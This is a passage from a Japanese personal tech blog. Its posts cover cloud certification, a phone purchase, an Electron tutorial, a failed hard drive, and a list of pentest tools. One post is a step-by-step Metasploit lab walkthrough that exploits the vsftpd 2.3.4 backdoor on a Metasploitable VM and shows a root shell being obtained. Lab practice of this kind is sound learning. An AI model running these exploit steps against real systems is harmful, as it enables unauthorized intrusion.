h7kayamaの開発日記

日々の中で得た知識を書き溜めていくブログです

IBM Bluemix認定資格を受けてきました

IBM Bluemixの認定資格を会社の経費で受けられる機会があったので受けてきました。 結果、合格ラインが56問中70%以上のところ86%で無事に合格できました。

C5050-384: IBM Cloud Platform Application Development v2

HerokuやAWSなどのクラウドを普段使っている方であれば難なく解ける問題だと思います。特にIBM Bluemixは12 Factor Appを推奨していることもあって、Herokuのデプロイメントの仕組みを理解しているとすんなり解ける問題が多い気がします。

ちなみに私はこちらの記事を参考に勉強しました。

qiita.com

以下の資料を読んでおくと試験はもちろん、Bluemixを体系的に学べるのでオススメです。

IBM Cloud Professional Certification Program Study Guide Series

Cloud application developer certification preparation - developerWorks Courses

ZenFone Liveを買いました

ZenFone Live(ZB501KL)を購入しました。

f:id:H7kayama:20170806235510j:plain

今までZenFone 2 laserを使っていましたが、こちらの事象に堪えられなくなったので買い替えました。(ZenFone 2を購入したのが2年前で事象が発生し始めたのが1年前ぐらいからです。結構耐えてきました・・・。)

pikaichi.net

ASUS以外のメーカーで2万円前後のものを探していて、指紋認証Android 7.0が搭載されているモトローラのMoto G5を買おうと考えてました。 いざ、ヨドバシに買いに行ったところ、お目当てのMoto G5はあったのですがケースが売ってなく、泣く泣くZenfone Liveに決めました。

が、使ってみたところ、フォルムがiPhone7に近く、かつ軽い、ファーストインプレッションは予想外に良い感じでした。 音量ボタンのダブルクリックでカメラ起動は何気に助かります。

これから、色々使い倒していきたいと思います。

取り敢えず今気になっている点は、デフォルトでインストールさている「電子書籍」「i-フィルター」等をアンインストールしようとすると「問題が発生したため、設定を終了します。」と表示され、アンインストールができません。

サポートに問い合わせてみたいと思います。

(追伸 8/13)
サポートに問い合わせたところデフォルトでインストールされているアプリはアンインストールできないとのことでした。Zenfone2の時はアンインストールできたんですけどね。これバグだと思うんですけど・・・

Electronを試してみる

最近のお気に入りのエディタはVisual Studio Codeです。
そのVisual Studio Codeで採用されているElectronを試してみました。

Electronとは?

ElectronはHTML+CSS+JavascriptといったWeb技術でデスクトップアプリが開発できるフレームワークです。 Javascriptの実行エンジンにV8、レンダリングエンジンにChromiumを使用しています。 V8なので、ES2015の記法で書けるし、Node.jsが組み込まれているのでnpmも使用できます。 もちろん、ReactやVue.jsのフレームワークも使用できます。

ElectronでHello World

Electronをインストールします。

$ npm install electron -g

package.jsonを作成します。

$ npm init

メイン処理のindex.jsを作成します。

const {app, BrowserWindow} = require('electron')

app.on('ready', () => {
  let mainWindow = new BrowserWindow({width: 800, height: 600})
  mainWindow.loadURL(`file://${__dirname}/index.html`)
  mainWindow.on('closed', () => {
    mainWindow = null
  })
})

loadURLメソッドで指定しているindex.htmlを作成します。

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Electron App</title>
</head>
<body>
  <h1>Hello World!</h1>
</body>
</html>

アプリを起動してみます。

$ electron .

f:id:H7kayama:20170722143001p:plain

Hello Worldが表示されます。簡単ですね。
これから色々と弄っていきたいと思います。

Metasploitを試してみる

前回のペネトレーションテストの続きとしてMetasploitを試してみます。

事前準備

Kali Linuxをインストールします。
Official Kali Linux Downloads | Kali Linux

Metasploitの攻撃対象となるLinuxを立ち上げておきます。
Metasploitable - Browse /Metasploitable2 at SourceForge.net

Metasploitの起動

Kali Linux上でTerminalを起動し、以下のコマンドでMetasploitを起動します。

root@kali:~# msfconsole

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.14.10-dev                         ]
+ -- --=[ 1639 exploits - 944 auxiliary - 289 post        ]
+ -- --=[ 472 payloads - 40 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

vsftpdの脆弱性をついたroot権限の取得

vsftpdのExploitを検索してみます。

root@kali:~# search vsftpd
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

攻撃するために必要な情報を設定します。

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)

攻撃対象のIPアドレスをRHOSTに設定します。

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.0.5
RHOST => 192.168.0.5

再度、optionsを表示してRHOSTが設定されていることを確認。

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.0.5      yes       The target address
   RPORT  21               yes       The target port (TCP)

攻撃をしてみます。

msf exploit(vsftpd_234_backdoor) > run

[*] 192.168.0.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.5:21 - USER: 331 Please specify the password.
[+] 192.168.0.5:21 - Backdoor service has been spawned, handling...
[+] 192.168.0.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.0.7:41265 -> 192.168.0.5:6200) at 2017-07-17 10:35:37 -0400

idコマンドを叩くとroot権限が取得できていることがわかります。

id
uid=0(root) gid=0(root)

こんなに簡単にroot権限が取得できるとは・・・。
これから色々と弄っていきます。

参考

qiita.com

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

外付けHDDが壊れました・・・

昨日、外付けHDDがMacで認識しなくなったので、修復作業を行ってました。

認識しなくなった経緯としては、MacのTime Machine用に外付けHDDを使っていたのですが、そもそもバックアップから復元する機会がなく、外付けHDDを他のことに使おうと思い立ちました。他にも写真や音楽なども入っていたのでフォーマットはせずにファイルを選択して削除していきました。

ところが、ゴミ箱からファイルを削除しようとしても一向に削除が終わりません。2時間以上経っても終わりません。 一旦諦めて、.Trashesの中を直接rmで削除しました。ただ、こちらも終わらないので途中でキャンセルしました。

そうしたら、外付けHDDがFinder上に表示されなくなりました。 Macのシステムレポート上のUSBでは認識されているようなのですが・・・。 ディスクユーティリティから修復を試みましたが、ディスクを読み込み中のまま中々ディスクが表示されません。 もう諦めかけたとき、fsckコマンドの存在を知りました。

さっそく、Command+SでMacをシングルユーザモードで起動して/sbin/fsck -fy /dev/disk2s2で修復を試みました。 こちらの記事を見ると私が使用している2TBのUSB2.0では18時間かかるとのことで、夜に仕掛けて無事に修復されることを祈りながら眠りにつきました。

USB2.0ストレージHDD 2TBのfsck所要時間 | nexia inc

朝起きてみると、まだ修復は終わってませんでしたが、修復されてそうなログがちらほら出力されていたので、安心して会社に行きました。

ところが、家に帰ってみると外付けHDDからブー、ブーと異音が鳴り響いていました。

本日の雷雨で停電したっぽいですorz

今までの思い出の写真や音楽は全て無になりましたorz

本日の教訓はRAIDを組みましょう!です。

ペネトレーションテスト

最近、社内でセキュリティ関連の話題が多いので「ハッカーの学校」を読みました。 けっこー知らないツールが載っていて、予想以上に楽しめる内容でした。 その中でも私が特に気になったツールがこちらです。

Kali Linux

ペネトレーション用の様々なツールが最初からインストールされているLinuxになります。 公式サイトからVirtual Box等のイメージをダウンロードできるので手軽に試すことができます。

https://www.kali.org/

Zenmap

サーバのポートをスキャンするツールです。 開放されているポートを調べることができます。

Zenmap - Official cross-platform Nmap Security Scanner GUI

Hydra(ヒュドラ

オンライン向けのパスワードクラッカーツールです。

THC Hydra – SecTools Top Network Security Tools

Cain & Abel

オフライン向けのパスワードクラッカーツールです。

oxid.it - Cain & Abel

NetCraft

URLから様々な情報を確認できるサイトです。 OS、言語、フレームワーク等の情報が見れます。

Netcraft | Internet Research, Anti-Phishing and PCI Security Services

Metasploit

デファクト?のペネトレーションテストツールです。 GUI版はArmitageです。

Penetration Testing Software | Metasploit

NetCat

TCP/UDPを用いてデータの書き換えるツールです。

The GNU Netcat -- Official homepage

なお、弄る際は自己責任で。

ハッカーの学校

ハッカーの学校